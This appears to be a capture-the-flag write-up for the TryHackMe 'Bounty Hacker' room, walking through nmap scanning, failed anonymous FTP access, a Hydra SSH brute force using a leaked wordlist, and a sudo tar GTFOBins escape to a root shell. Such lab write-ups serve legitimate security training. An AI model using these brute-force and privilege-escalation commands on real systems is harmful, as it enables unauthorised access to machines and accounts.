TryHackMe Bounty Hacker Writeup: FTP Woes, Hydra SSH Brute Force & tar Privesc
Room Information
- Platform: TryHackMe
- Room Name: Bounty Hacker
- Difficulty: Easy
- Goal: Capture user.txt and root.txt
- Theme: Cowboy Bebop anime theme
- Link: https://tryhackme.com/room/cowboyhacker
- Note: I ran into some odd behaviour on this machine, so for a few parts I had to lean on someone else's writeup to keep making progress. Take it with a grain of salt.
Service Discovery
nmap -sC -sV 10.10.x.x -Pn
Open ports:
- Port 21: vsftpd 3.0.5 (note: the original version was 3.0.3)
- Port 22: OpenSSH 7.2p2
- Port 80: Apache httpd 2.4.41
Step 1: Discovering the FTP Problem
Trying an anonymous login:
ftp 10.10.184.14
Name: anonymous
Password: (just hit Enter)
230 Login successful.
And then the trouble started:
ftp> ls
550 Permission denied.
500 Illegal PORT command.
ftp: Can't bind for data connection: Address already in use
Step 2: Trying Various Fixes (All of Which Failed)
Attempt 1: Passive Mode
ftp> passive
Passive mode: on
ftp> ls
550 Permission denied.
Attempt 2: Using lftp
lftp ftp://[email protected]
lftp> ls
`ls' at 0 [550 Permission denied.]
Attempt 3: Using wget
wget ftp://anonymous:[email protected]/locks.txt
# Result: Cannot initiate PASV transfer
Step 3: Analysing the Problem
Root cause:
- vsFTPd was upgraded from 3.0.3 to 3.0.5
- A passive mode configuration issue (it may be responding with a 0,0,0,0 address)
Step 4: A Workaround
I learned the file contents from another writeup:
Contents of task.txt:
1.) Protect Vicious.
2.) Plan for Red Eye pickup on the moon.
-lin
Contents of locks.txt: (a password wordlist)
rEddrAGON
ReDdr4g0nSynd!cat3
Dr@gOn$yn9icat3
[...more passwords...]
RedDr4gonSyndicat3
Step 5: SSH Brute Force
Brute forcing with Hydra:
# Create a local locks.txt file (copy the contents above)
hydra -l lin -P locks.txt 10.10.184.14 ssh -t 4
# Password found successfully
[22][ssh] host: 10.10.184.14 login: lin password: RedDr4gonSynd1cat3
Step 6: Grabbing the User Flag
ssh [email protected]
lin@bountyhacker:~$ ls
lin@bountyhacker:~$ cat user.txt
THM{Redacted}
Step 7: Privilege Escalation Recon
lin@bountyhacker:~$ sudo -l
User lin may run the following commands on bountyhacker:
(root) /bin/tar
Step 8: GTFOBins Exploitation
According to GTFOBins:
sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
# Got a root shell
# whoami
root
Step 9: Grabbing the Root Flag
# cat /root/root.txt
THM{Redacted}
Key Takeaways
The FTP Version Issue
- The vsFTPd 3.0.3 → 3.0.5 version change caused compatibility problems
- Passive mode can break under certain configurations
Debugging Techniques I Tried
- Tested multiple FTP clients (ftp, lftp, wget, curl)
- Toggled between Active/Passive mode
- Used different authentication methods
- Specified the filename directly to download it
Lessons Learned
On FTP version changes:
CTF rooms can behave unexpectedly after an update:
- In real-world engagements you'll also run into misconfigured services
- Learning to work around a problem is more useful than fixing it
- Keep a mindset of always having backup approaches
- Leave a record for the community, and make it easier for others to grab the necessary info from alternative sources
Member discussion